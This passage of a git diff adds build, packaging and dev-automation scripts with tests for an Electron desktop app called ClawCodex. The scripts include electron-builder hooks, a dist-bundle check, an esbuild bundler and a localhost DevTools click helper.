+    font-family: ui-sans-serif, system-ui, -apple-system, "SF Pro Text", sans-serif;
+    background: radial-gradient(1200px 600px at 20% 10%, #4a1a33 0%, #2a1020 40%, #120810 100%);
+    color: #ffe4f1;
+    display: grid;
+    place-items: center;
+    padding: 2rem;
+  }
+  .card {
+    max-width: 520px;
+    padding: 2rem 2.25rem;
+    border: 1px solid rgba(255,182,214,0.18);
+    border-radius: 14px;
+    background: rgba(28,14,22,0.6);
+    backdrop-filter: blur(6px);
+    box-shadow: 0 10px 40px rgba(0,0,0,0.4);
+  }
+  h1 {
+    margin: 0 0 0.5rem;
+    font-size: 1.5rem;
+    letter-spacing: 0.01em;
+  }
+  p { margin: 0.35rem 0; opacity: 0.85; line-height: 1.5; }
+  .dot {
+    display: inline-block; width: 10px; height: 10px; border-radius: 50%;
+    background: #ff6fb5; margin-right: 0.5rem;
+    box-shadow: 0 0 12px #ff6fb5;
+    animation: pulse 1.6s ease-in-out infinite;
+  }
+  @keyframes pulse {
+    0%,100% { transform: scale(1); opacity: 1; }
+    50%     { transform: scale(1.4); opacity: 0.6; }
+  }
+  code {
+    background: rgba(255,182,214,0.10);
+    padding: 0.1rem 0.35rem;
+    border-radius: 4px;
+    font-size: 0.9em;
+  }
+  .time { font-variant-numeric: tabular-nums; opacity: 0.7; font-size: 0.85rem; margin-top: 1rem; }
+</style>
+</head>
+<body>
+  <div class="card">
+    <h1><span class="dot"></span>preview-demo.html</h1>
+    <p>Tiny standalone HTML artifact — no server, no build step.</p>
+    <p>Open directly in a browser via <code>file://</code>.</p>
+    <p class="time" id="t"></p>
+  </div>
+  <script>
+    const el = document.getElementById('t');
+    const tick = () => { el.textContent = new Date().toLocaleString(); };
+    tick(); setInterval(tick, 1000);
+  </script>
+</body>
+</html>
diff --git a/ui-desktop/public/apple-touch-icon.png b/ui-desktop/public/apple-touch-icon.png
new file mode 100644
index 000000000..ccbc72d3d
Binary files /dev/null and b/ui-desktop/public/apple-touch-icon.png differ
diff --git a/ui-desktop/public/clawcodex-mark.png b/ui-desktop/public/clawcodex-mark.png
new file mode 100644
index 000000000..74f5baaad
Binary files /dev/null and b/ui-desktop/public/clawcodex-mark.png differ
diff --git a/ui-desktop/public/ds-assets/filler-bg0.jpg b/ui-desktop/public/ds-assets/filler-bg0.jpg
new file mode 100644
index 000000000..490969417
Binary files /dev/null and b/ui-desktop/public/ds-assets/filler-bg0.jpg differ
diff --git a/ui-desktop/scripts/.gitignore b/ui-desktop/scripts/.gitignore
new file mode 100644
index 000000000..646f02ffc
--- /dev/null
+++ b/ui-desktop/scripts/.gitignore
@@ -0,0 +1 @@
+share-codes.txt
diff --git a/ui-desktop/scripts/after-pack.mjs b/ui-desktop/scripts/after-pack.mjs
new file mode 100644
index 000000000..31986ebab
--- /dev/null
+++ b/ui-desktop/scripts/after-pack.mjs
@@ -0,0 +1,41 @@
+/**
+ * after-pack.mjs — electron-builder afterPack hook.
+ *
+ * Stamps the ClawCodex icon + identity onto the packed Windows ClawCodex.exe via
+ * rcedit (delegated to set-exe-identity.mjs). This runs for EVERY packed build
+ * — first install, `clawcodex desktop`, the installer's --update rebuild, and a
+ * dev's manual `npm run pack` — so the branded exe can never silently revert
+ * to the stock "Electron" icon/name (the bug when the stamp lived only in
+ * install.ps1, which the update path doesn't use).
+ *
+ * Windows-only: rcedit edits PE resources, irrelevant on macOS/Linux where the
+ * app identity comes from the bundle Info.plist / desktop entry. Best-effort:
+ * a stamp failure must never fail an otherwise-good build (worst case is the
+ * stock icon, not a broken app), so we log and resolve rather than throw.
+ *
+ * electron-builder passes a context with:
+ *   - electronPlatformName: 'win32' | 'darwin' | 'linux'
+ *   - appOutDir:            the unpacked app directory for this target
+ *   - packager.appInfo.productFilename: the exe basename (e.g. 'ClawCodex')
+ */
+
+import path from 'node:path'
+
+import { stampExeIdentity } from './set-exe-identity.mjs'
+
+export default async function afterPack(context) {
+  if (context.electronPlatformName !== 'win32') {
+    return
+  }
+
+  const productName = context.packager?.appInfo?.productFilename || 'ClawCodex'
+  const exe = path.join(context.appOutDir, `${productName}.exe`)
+  const desktopRoot = path.resolve(import.meta.dirname, '..')
+
+  try {
+    await stampExeIdentity(exe, desktopRoot)
+  } catch (err) {
+    // Never fail the build over a cosmetic stamp.
+    console.warn(`[after-pack] exe identity stamp failed (${err.message}); ClawCodex.exe keeps the stock Electron icon`)
+  }
+}
diff --git a/ui-desktop/scripts/assert-dist-built.mjs b/ui-desktop/scripts/assert-dist-built.mjs
new file mode 100644
index 000000000..3715eba4e
--- /dev/null
+++ b/ui-desktop/scripts/assert-dist-built.mjs
@@ -0,0 +1,69 @@
+// Build-time guard: refuse to hand a half-built renderer to electron-builder.
+//
+// `npm run pack` / `npm run dist*` are `npm run build && npm run builder`.
+// If the `build` step (tsc -b && vite build) fails but packaging proceeds
+// anyway — a stale checkout that fails typecheck, an interrupted vite build,
+// or npm not short-circuiting `&&` in some shells — electron-builder happily
+// packages an app with an empty or missing `dist/`. The result launches but
+// blank-pages with `ERR_FILE_NOT_FOUND` for dist/index.html, with no clue why.
+//
+// This runs at the tail of `build`, after vite build, so any packaging path
+// inherits it. It fails loud and early instead of shipping a broken bundle.
+// See issues #39484 (renderer blank page) and #41327 / #39472 (dashboard 404).
+
+import { existsSync, statSync, readdirSync } from "fs"
+import { join, resolve } from "path"
+import { isMain } from "./utils.mjs"
+
+// Pure check — returns { ok: true } or { ok: false, error: "..." }.
+// Kept side-effect-free so it can be unit tested without spawning a process.
+export function checkDistBuilt(distDir) {
+  if (!existsSync(distDir) || !statSync(distDir).isDirectory()) {
+    return { ok: false, error: `no dist directory at ${distDir}` }
+  }
+
+  const indexHtml = join(distDir, "index.html")
+  if (!existsSync(indexHtml) || !statSync(indexHtml).isFile()) {
+    return { ok: false, error: `dist/index.html is missing at ${indexHtml}` }
+  }
+  if (statSync(indexHtml).size === 0) {
+    return { ok: false, error: `dist/index.html is empty at ${indexHtml}` }
+  }
+
+  // index.html alone isn't enough — vite emits hashed JS into dist/assets.
+  // An index.html with no script bundle still blank-pages.
+  const assetsDir = join(distDir, "assets")
+  const hasAssets =
+    existsSync(assetsDir) &&
+    statSync(assetsDir).isDirectory() &&
+    readdirSync(assetsDir).some(name => name.endsWith(".js"))
+  if (!hasAssets) {
+    return { ok: false, error: `dist/assets has no built JS bundle (expected vite output under ${assetsDir})` }
+  }
+
+  return { ok: true }
+}
+
+function main() {
+  const desktopRoot = resolve(import.meta.dirname, "..")
+  const distDir = join(desktopRoot, "dist")
+  const result = checkDistBuilt(distDir)
+
+  if (!result.ok) {
+    console.error(`\n✗ assert-dist-built: ${result.error}`)
+    console.error("  The renderer bundle is missing or incomplete, so packaging")
+    console.error("  would produce an app that launches to a blank page.")
+    console.error("  Re-run the build and check the tsc/vite output above for the")
+    console.error("  real failure, then package again:")
+    console.error(`    cd ${desktopRoot} && npm run build\n`)
+    process.exit(1)
+  }
+
+  console.log("✓ assert-dist-built: dist/index.html + assets present")
+}
+
+if (isMain(import.meta.url)) {
+  main()
+}
+
+export default { checkDistBuilt }
diff --git a/ui-desktop/scripts/assert-dist-built.test.mjs b/ui-desktop/scripts/assert-dist-built.test.mjs
new file mode 100644
index 000000000..d5f75e19a
--- /dev/null
+++ b/ui-desktop/scripts/assert-dist-built.test.mjs
@@ -0,0 +1,84 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { test } from 'vitest'
+
+import { checkDistBuilt } from '../scripts/assert-dist-built.mjs'
+
+function makeDist(extra) {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-assert-dist-'))
+  const distDir = path.join(tempRoot, 'dist')
+  fs.mkdirSync(distDir, { recursive: true })
+  if (extra) extra(distDir)
+  return { tempRoot, distDir }
+}
+
+test('checkDistBuilt passes when index.html + an assets JS bundle exist', () => {
+  const { tempRoot, distDir } = makeDist(d => {
+    fs.writeFileSync(path.join(d, 'index.html'), '<!doctype html><div id=root></div>', 'utf8')
+    fs.mkdirSync(path.join(d, 'assets'))
+    fs.writeFileSync(path.join(d, 'assets', 'index-abc123.js'), 'console.log(1)', 'utf8')
+  })
+  try {
+    assert.deepEqual(checkDistBuilt(distDir), { ok: true })
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('checkDistBuilt fails when the dist directory is absent', () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-assert-dist-'))
+  try {
+    const result = checkDistBuilt(path.join(tempRoot, 'dist'))
+    assert.equal(result.ok, false)
+    assert.match(result.error, /no dist directory/)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('checkDistBuilt fails when index.html is missing', () => {
+  const { tempRoot, distDir } = makeDist(d => {
+    fs.mkdirSync(path.join(d, 'assets'))
+    fs.writeFileSync(path.join(d, 'assets', 'index-abc123.js'), 'console.log(1)', 'utf8')
+  })
+  try {
+    const result = checkDistBuilt(distDir)
+    assert.equal(result.ok, false)
+    assert.match(result.error, /index\.html is missing/)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('checkDistBuilt fails when index.html is empty', () => {
+  const { tempRoot, distDir } = makeDist(d => {
+    fs.writeFileSync(path.join(d, 'index.html'), '', 'utf8')
+    fs.mkdirSync(path.join(d, 'assets'))
+    fs.writeFileSync(path.join(d, 'assets', 'index-abc123.js'), 'console.log(1)', 'utf8')
+  })
+  try {
+    const result = checkDistBuilt(distDir)
+    assert.equal(result.ok, false)
+    assert.match(result.error, /index\.html is empty/)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('checkDistBuilt fails when assets/ has no JS bundle', () => {
+  const { tempRoot, distDir } = makeDist(d => {
+    fs.writeFileSync(path.join(d, 'index.html'), '<!doctype html>', 'utf8')
+    fs.mkdirSync(path.join(d, 'assets'))
+    // CSS only, no JS — still a blank page at runtime.
+    fs.writeFileSync(path.join(d, 'assets', 'index-abc123.css'), 'body{}', 'utf8')
+  })
+  try {
+    const result = checkDistBuilt(distDir)
+    assert.equal(result.ok, false)
+    assert.match(result.error, /no built JS bundle/)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/scripts/assert-root-install.mjs b/ui-desktop/scripts/assert-root-install.mjs
new file mode 100644
index 000000000..eb8f34c3a
--- /dev/null
+++ b/ui-desktop/scripts/assert-root-install.mjs
@@ -0,0 +1,11 @@
+import { accessSync } from "fs"
+import { resolve, join } from "path"
+
+const root = resolve(import.meta.dirname, "..")
+
+try {
+  accessSync(join(root, "node_modules", "vite", "package.json"))
+} catch {
+  console.error(`Install ui-desktop deps first: cd ${root} && npm ci`)
+  process.exit(1)
+}
diff --git a/ui-desktop/scripts/before-build.mjs b/ui-desktop/scripts/before-build.mjs
new file mode 100644
index 000000000..69561b5c7
--- /dev/null
+++ b/ui-desktop/scripts/before-build.mjs
@@ -0,0 +1,11 @@
+/**
+ * Desktop bundles ship precompiled renderer assets. Returning false here tells
+ * electron-builder to skip the node_modules collector/install step, which
+ * avoids workspace dependency graph explosions and keeps packaging
+ * deterministic across environments. The ClawCodex Python payload is no
+ * longer bundled; the Electron app fetches it at first launch via
+ * `install.ps1`'s stage protocol (Windows). See `electron/main.ts`.
+ */
+export default async function beforeBuild() {
+  return false
+}
diff --git a/ui-desktop/scripts/before-pack.mjs b/ui-desktop/scripts/before-pack.mjs
new file mode 100644
index 000000000..77bc25400
--- /dev/null
+++ b/ui-desktop/scripts/before-pack.mjs
@@ -0,0 +1,154 @@
+/**
+ * before-pack.mjs — electron-builder beforePack hook.
+ *
+ * Two responsibilities:
+ *
+ * 1. Removes any stale unpacked app directory (`appOutDir`) before
+ *    electron-builder stages the Electron binaries into it.
+ *
+ * WHY THIS EXISTS
+ * ---------------
+ * electron-builder's final packaging step copies the stock `electron`
+ * binary into `release/<platform>-unpacked/` and then renames it to the
+ * product name (`ClawCodex`). If a PREVIOUS `npm run pack` was interrupted
+ * (Ctrl-C, OOM kill, crash, full disk) the unpacked directory is left in a
+ * corrupted partial state: it keeps the already-renamed `LICENSE.electron.txt`
+ * and the Chromium payload (.pak/.so/icudtl.dat/chrome-sandbox) but is MISSING
+ * the `electron` binary itself.
+ *
+ * On the next run, electron-builder sees the destination directory already
+ * populated, skips re-copying the binary it thinks is present, then tries to
+ * rename a `electron` file that no longer exists. The build dies with:
+ *
+ *   ENOENT: no such file or directory, rename
+ *   '.../release/linux-unpacked/electron' -> '.../release/linux-unpacked/ClawCodex'
+ *
+ * This is a hard failure with no obvious cause for the user — `clawcodex desktop`
+ * just prints "Desktop GUI build failed" and the only fix is to manually
+ * `rm -rf` the release directory, which a normal user has no way to know.
+ *
+ * The packaging step is not idempotent across an interrupted run, so we make
+ * it idempotent ourselves: wipe the target unpacked directory up front so
+ * electron-builder always stages into a clean tree. This is safe — the
+ * directory is a pure build artifact that electron-builder fully recreates
+ * on every pack; nothing else depends on its prior contents.
+ *
+ * Cross-platform: the same partial-state trap exists on macOS
+ * (the mac-unpacked ClawCodex.app bundle) and Windows (win-unpacked), so we
+ * clean whatever `appOutDir` electron-builder hands us regardless of platform.
+ *
+ * Best-effort: a cleanup failure must never mask the real build. We log and
+ * resolve rather than throw — worst case electron-builder hits the original
+ * ENOENT, which is no worse than not having this hook at all.
+ *
+ * 2. Re-stages node-pty's native files for the ACTUAL target platform/arch
+ *    of this pack. `npm run build` already staged node-pty once for the
+ *    host machine (see scripts/stage-native-deps.mjs), which is correct for
+ *    single-arch builds matching the host. But electron-builder can target
+ *    a different arch than the host (cross-build), or pack multiple archs
+ *    from one `npm run build` (e.g. `dist:mac` => x64 + arm64). Only this
+ *    hook knows the real per-target arch, via `context.arch` /
+ *    `context.electronPlatformName` — so it re-stages on top of whatever
+ *    `npm run build` left behind, per target, right before files are read
+ *    for packing.
+ *
+ * electron-builder passes a context with:
+ *   - appOutDir:            the unpacked app directory about to be staged
+ *   - electronPlatformName: 'win32' | 'darwin' | 'linux'
+ *   - arch:                 Arch enum (0=ia32, 1=x64, 2=armv7l, 3=arm64, 4=universal)
+ */
+import { existsSync, rmSync, renameSync } from 'node:fs'
+import path from 'node:path'
+import { Arch } from 'electron-builder'
+import { stageNodePty } from './stage-native-deps.mjs'
+
+export function cleanStaleAppOutDir(appOutDir) {
+  if (!appOutDir || typeof appOutDir !== 'string') {
+    return false
+  }
+  if (!existsSync(appOutDir)) {
+    return false
+  }
+  // Recursive + force so a half-written tree (read-only bits, partial files)
+  // can't block the wipe. retry/maxRetries rides out transient EBUSY on
+  // Windows where an AV/indexer may briefly hold a handle.
+  rmSync(appOutDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 })
+  return true
+}
+
+/**
+ * Windows rollback material (#69179): before wiping the previous unpacked
+ * tree, preserve it as `<appOutDir>.bak` — but ONLY when it holds the product
+ * exe (i.e. it is a previously-working build, not the corrupted partial state
+ * cleanStaleAppOutDir exists to remove). If the fresh pack then produces a
+ * ClawCodex.exe that Windows can't load (truncated PE from a corrupt cached
+ * Electron zip, wrong arch), the updater's integrity gate in
+ * `clawcodex desktop --build-only` (clawcodex_cli/main.py
+ * `_ensure_desktop_exe_launchable`) restores this .bak instead of leaving the
+ * user with "This app can't run on your computer".
+ *
+ * Returns true when the tree was preserved (appOutDir no longer exists), false
+ * when there was nothing worth preserving (caller falls through to the wipe).
+ * A rename failure (AV holding a handle) also returns false — the wipe is the
+ * safe fallback and matches pre-#69179 behavior exactly.
+ */
+export function preserveRollbackBackup(appOutDir, productExeName = 'ClawCodex.exe') {
+  if (!appOutDir || typeof appOutDir !== 'string' || !existsSync(appOutDir)) {
+    return false
+  }
+  if (!existsSync(path.join(appOutDir, productExeName))) {
+    // Partial/corrupt tree (interrupted prior pack) — not rollback material.
+    return false
+  }
+  const backupDir = `${appOutDir}.bak`
+  try {
+    rmSync(backupDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 })
+    renameSync(appOutDir, backupDir)
+    return true
+  } catch {
+    return false
+  }
+}
+
+export default async function beforePack(context) {
+  const appOutDir = context && context.appOutDir
+  const platformName = context && context.electronPlatformName
+  try {
+    // Windows: keep the previous working build as rollback material for the
+    // post-build integrity gate (#69179) instead of destroying it. Falls
+    // through to the plain wipe when the old tree is partial/corrupt or the
+    // rename fails.
+    const productExe = `${(context && context.packager?.appInfo?.productFilename) || 'ClawCodex'}.exe`
+    if (platformName === 'win32' && preserveRollbackBackup(appOutDir, productExe)) {
+      console.log(`[before-pack] preserved previous unpacked dir for rollback: ${appOutDir}.bak`)
+    } else if (cleanStaleAppOutDir(appOutDir)) {
+      console.log(`[before-pack] removed stale unpacked dir before staging: ${appOutDir}`)
+    }
+  } catch (err) {
+    // Never fail the build over cleanup; surface why so a genuinely stuck
+    // directory (permissions, mount) is still diagnosable.
+    console.warn(`[before-pack] could not clean ${appOutDir} (${err.message}); continuing`)
+  }
+
+  try {
+    const platform = context && context.electronPlatformName
+    const archName = context && typeof context.arch === 'number' ? Arch[context.arch] : undefined
+    if (platform && archName) {
+      if (archName === 'universal') {
+        console.warn(
+          '[before-pack] target arch is "universal" — node-pty has no universal prebuild; ' +
+            'staged binary will be whichever single-arch copy npm run build left behind. ' +
+            'lipo-merge x64/arm64 .node files manually if you need a true universal build.'
+        )
+      } else {
+        await stageNodePty({ platform, arch: archName })
+        console.log(`[before-pack] re-staged node-pty for target ${platform}-${archName}`)
+      }
+    }
+  } catch (err) {
+    // This one SHOULD fail the build — a missing/wrong native binary for the
+    // target arch means a broken package shipped to users, which is worse
+    // than a build that fails loudly here.
+    throw new Error(`[before-pack] failed to stage node-pty for this target: ${err.message}`)
+  }
+}
\ No newline at end of file
diff --git a/ui-desktop/scripts/before-pack.test.mjs b/ui-desktop/scripts/before-pack.test.mjs
new file mode 100644
index 000000000..cb678858b
--- /dev/null
+++ b/ui-desktop/scripts/before-pack.test.mjs
@@ -0,0 +1,155 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { test } from 'vitest'
+
+import beforePack, { cleanStaleAppOutDir, preserveRollbackBackup } from '../scripts/before-pack.mjs'
+
+test('cleanStaleAppOutDir removes a populated unpacked directory', () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const appOutDir = path.join(tempRoot, 'linux-unpacked')
+    fs.mkdirSync(appOutDir, { recursive: true })
+    // Reproduce the corrupted partial state: license + payload present,
+    // electron binary missing — exactly what trips the ENOENT rename.
+    fs.writeFileSync(path.join(appOutDir, 'LICENSE.electron.txt'), 'x', 'utf8')
+    fs.writeFileSync(path.join(appOutDir, 'resources.pak'), 'x', 'utf8')
+    fs.mkdirSync(path.join(appOutDir, 'resources'), { recursive: true })
+    fs.writeFileSync(path.join(appOutDir, 'resources', 'app.asar'), 'x', 'utf8')
+
+    const removed = cleanStaleAppOutDir(appOutDir)
+
+    assert.equal(removed, true)
+    assert.equal(fs.existsSync(appOutDir), false)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('cleanStaleAppOutDir is a no-op when the directory is absent', () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const missing = path.join(tempRoot, 'does-not-exist')
+    assert.equal(cleanStaleAppOutDir(missing), false)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('cleanStaleAppOutDir ignores empty or invalid input', () => {
+  assert.equal(cleanStaleAppOutDir(''), false)
+  assert.equal(cleanStaleAppOutDir(undefined), false)
+  assert.equal(cleanStaleAppOutDir(null), false)
+  assert.equal(cleanStaleAppOutDir(42), false)
+})
+
+test('beforePack default export resolves even when cleanup throws', async () => {
+  // A directory path that rmSync can't remove is simulated by passing a
+  // context whose appOutDir is a file the hook will try (and be allowed) to
+  // remove; the contract under test is that the hook never rejects.
+  await assert.doesNotReject(beforePack({ appOutDir: '', electronPlatformName: 'linux' }))
+})
+
+// ─── Windows rollback preservation (#69179) ────────────────────────────────
+
+test('preserveRollbackBackup moves a working build to .bak', () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const appOutDir = path.join(tempRoot, 'win-unpacked')
+    fs.mkdirSync(appOutDir, { recursive: true })
+    fs.writeFileSync(path.join(appOutDir, 'ClawCodex.exe'), 'MZ-old-build', 'utf8')
+    fs.writeFileSync(path.join(appOutDir, 'resources.pak'), 'x', 'utf8')
+
+    const preserved = preserveRollbackBackup(appOutDir, 'ClawCodex.exe')
+
+    assert.equal(preserved, true)
+    // Original slot vacated so electron-builder stages into a clean tree...
+    assert.equal(fs.existsSync(appOutDir), false)
+    // ...and the previous working build is intact under .bak for rollback.
+    assert.equal(
+      fs.readFileSync(path.join(`${appOutDir}.bak`, 'ClawCodex.exe'), 'utf8'),
+      'MZ-old-build'
+    )
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('preserveRollbackBackup replaces a stale .bak from an older update', () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const appOutDir = path.join(tempRoot, 'win-unpacked')
+    fs.mkdirSync(appOutDir, { recursive: true })
+    fs.writeFileSync(path.join(appOutDir, 'ClawCodex.exe'), 'current', 'utf8')
+    fs.mkdirSync(`${appOutDir}.bak`, { recursive: true })
+    fs.writeFileSync(path.join(`${appOutDir}.bak`, 'ClawCodex.exe'), 'two-updates-ago', 'utf8')
+
+    assert.equal(preserveRollbackBackup(appOutDir, 'ClawCodex.exe'), true)
+    assert.equal(fs.readFileSync(path.join(`${appOutDir}.bak`, 'ClawCodex.exe'), 'utf8'), 'current')
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('preserveRollbackBackup refuses a partial tree missing the product exe', () => {
+  // The corrupted partial state (interrupted prior pack) must NOT become
+  // rollback material — it is exactly what cleanStaleAppOutDir exists to wipe.
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const appOutDir = path.join(tempRoot, 'win-unpacked')
+    fs.mkdirSync(appOutDir, { recursive: true })
+    fs.writeFileSync(path.join(appOutDir, 'LICENSE.electron.txt'), 'x', 'utf8')
+
+    assert.equal(preserveRollbackBackup(appOutDir, 'ClawCodex.exe'), false)
+    // Tree untouched; the caller's wipe path handles it.
+    assert.equal(fs.existsSync(appOutDir), true)
+    assert.equal(fs.existsSync(`${appOutDir}.bak`), false)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('preserveRollbackBackup ignores missing or invalid input', () => {
+  assert.equal(preserveRollbackBackup(''), false)
+  assert.equal(preserveRollbackBackup(undefined), false)
+  assert.equal(preserveRollbackBackup(null), false)
+  assert.equal(preserveRollbackBackup(path.join(os.tmpdir(), 'does-not-exist-xyz')), false)
+})
+
+test('beforePack on win32 preserves the previous build instead of wiping it', async () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const appOutDir = path.join(tempRoot, 'win-unpacked')
+    fs.mkdirSync(appOutDir, { recursive: true })
+    fs.writeFileSync(path.join(appOutDir, 'ClawCodex.exe'), 'MZ-working', 'utf8')
+
+    // No packager info in the context → default 'ClawCodex.exe' product name.
+    // node-pty staging is skipped because arch is not a number here.
+    await beforePack({ appOutDir, electronPlatformName: 'win32' })
+
+    assert.equal(fs.existsSync(appOutDir), false)
+    assert.equal(
+      fs.readFileSync(path.join(`${appOutDir}.bak`, 'ClawCodex.exe'), 'utf8'),
+      'MZ-working'
+    )
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('beforePack on linux keeps the plain wipe (no .bak)', async () => {
+  const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-before-pack-'))
+  try {
+    const appOutDir = path.join(tempRoot, 'linux-unpacked')
+    fs.mkdirSync(appOutDir, { recursive: true })
+    fs.writeFileSync(path.join(appOutDir, 'ClawCodex.exe'), 'x', 'utf8')
+
+    await beforePack({ appOutDir, electronPlatformName: 'linux' })
+
+    assert.equal(fs.existsSync(appOutDir), false)
+    assert.equal(fs.existsSync(`${appOutDir}.bak`), false)
+  } finally {
+    fs.rmSync(tempRoot, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/scripts/bundle-electron-main.mjs b/ui-desktop/scripts/bundle-electron-main.mjs
new file mode 100644
index 000000000..ebd682dd5
--- /dev/null
+++ b/ui-desktop/scripts/bundle-electron-main.mjs
@@ -0,0 +1,65 @@
+#!/usr/bin/env node
+// bundle-electron-main.mjs — bundles electron/main.ts and electron/preload.ts
+// into self-contained js files in dist/ so the packaged app doesn't need
+// node_modules/ or tsx at runtime.
+//
+// Output:
+//   dist/electron-main.mjs    (MJS bundle — entry point for packaged app)
+//   dist/electron-preload.js (CJS bundle — loaded via BrowserWindow preload)
+//
+// `electron` and `node-pty` are external (provided by the runtime / staged
+// separately via stage-native-deps).
+import { build } from 'esbuild'
+import { resolve, dirname } from 'node:path'
+import { fileURLToPath } from 'node:url'
+import { mkdirSync } from 'node:fs'
+
+const here = dirname(fileURLToPath(import.meta.url))
+const root = resolve(here, '..')
+const distDir = resolve(root, 'dist')
+mkdirSync(distDir, { recursive: true })
+
+const mainEntry = resolve(root, 'electron/main.ts')
+const mainOut = resolve(distDir, 'electron-main.mjs')
+const preloadEntry = resolve(root, 'electron/preload.ts')
+const preloadOut = resolve(distDir, 'electron-preload.js')
+
+const external = ['electron', 'node-pty', 'fs']
+// Production bundles bake packaged=true so unpackaged `electron .` still
+// behaves like a packaged build. Dev bundles (`--dev`) leave the env alone
+// so CLAWCODEX_DESKTOP_DEV_SERVER / source-tree resolution keep working.
+const isDev = process.argv.includes('--dev')
+const define = isDev
+  ? {}
+  : { 'process.env.CLAWCODEX_DESKTOP_IS_PACKAGED': JSON.stringify(true) }
+
+// Bundle main.ts → dist/electron-main.mjs
+await build({
+  entryPoints: [mainEntry],
+  bundle: true,
+  platform: 'node',
+  format: 'esm',
+  target: 'node20',
+  outfile: mainOut,
+  external,
+  banner: {
+    js: "import { createRequire } from 'module'; const require = createRequire(import.meta.url);",
+  },
+  define,
+  logLevel: 'info',
+})
+console.log(`bundled ${mainOut}${isDev ? ' (dev)' : ''}`)
+
+// Bundle preload.ts → dist/electron-preload.js
+await build({
+  entryPoints: [preloadEntry],
+  bundle: true,
+  platform: 'node',
+  format: 'cjs',
+  target: 'node20',
+  outfile: preloadOut,
+  external,
+  define,
+  logLevel: 'info',
+})
+console.log(`bundled ${preloadOut}${isDev ? ' (dev)' : ''}`)
diff --git a/ui-desktop/scripts/click-session.mjs b/ui-desktop/scripts/click-session.mjs
new file mode 100644
index 000000000..77983f51d
--- /dev/null
+++ b/ui-desktop/scripts/click-session.mjs
@@ -0,0 +1,51 @@
+// Click on a session by partial title match.
+const list = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+const tgt = list.find(t => t.type === 'page' && t.url.startsWith('http'))
+const ws = new WebSocket(tgt.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', ev => {
+  const m = JSON.parse(ev.data)
+  if (m.id != null && pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise(r => ws.addEventListener('open', r))
+const send = (method, params = {}) =>
+  new Promise(r => {
+    const i = ++id
+    pending.set(i, r)
+    ws.send(JSON.stringify({ id: i, method, params }))
+  })
+
+const title = process.argv[2] || 'Phaser particle'
+const r = await send('Runtime.evaluate', {
+  expression: `
+    (() => {
+      const titleMatch = ${JSON.stringify(title)}
+      const all = document.querySelectorAll('button, a, div[role="button"]')
+      const found = [...all].find(el => (el.textContent || '').includes(titleMatch))
+      if (!found) return JSON.stringify({ found: false, tried: titleMatch })
+      found.scrollIntoView()
+      found.click()
+      return JSON.stringify({ found: true, tag: found.tagName, text: (found.textContent || '').slice(0, 80) })
+    })()
+  `,
+  returnByValue: true
+})
+console.log('click raw:', JSON.stringify(r, null, 2))
+await new Promise(r => setTimeout(r, 3000))
+
+const status = await send('Runtime.evaluate', {
+  expression: `JSON.stringify({
+    url: location.href,
+    hasComposer: !!document.querySelector('[data-slot="composer-rich-input"]'),
+    threadMessages: document.querySelectorAll('[data-slot="aui_message"]').length,
+    bodyTextSnippet: document.body.innerText.slice(0, 500),
+    title: document.title
+  })`,
+  returnByValue: true
+})
+console.log('after click:', status.result.value)
+ws.close()
diff --git a/ui-desktop/scripts/dev-mock.mjs b/ui-desktop/scripts/dev-mock.mjs
new file mode 100644
index 000000000..8b2a0f1dc
--- /dev/null
+++ b/ui-desktop/scripts/dev-mock.mjs
@@ -0,0 +1,237 @@
+#!/usr/bin/env node
+/**
+ * Launch the desktop app with a mock inference provider — no real API
+ * keys needed. Starts a local OpenAI-compatible server that returns a
+ * canned reply, writes an isolated config.yaml + .env, and launches the
+ * built Electron app against them.
+ *
+ * This reuses the same mock-server and config format as the E2E fixtures
+ * (apps/desktop/e2e/mock-server.ts + fixtures.ts), so local dev and CI
+ * test the same chain.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ *
+ * Usage:
+ *   node scripts/dev-mock.mjs
+ *   npm run dev:mock
+ *
+ * The mock server listens on an ephemeral port and replies to every
+ * chat completion with:
+ *   "Hello from the mock inference server! The full boot chain is working."
+ */
+
+import http from 'node:http'
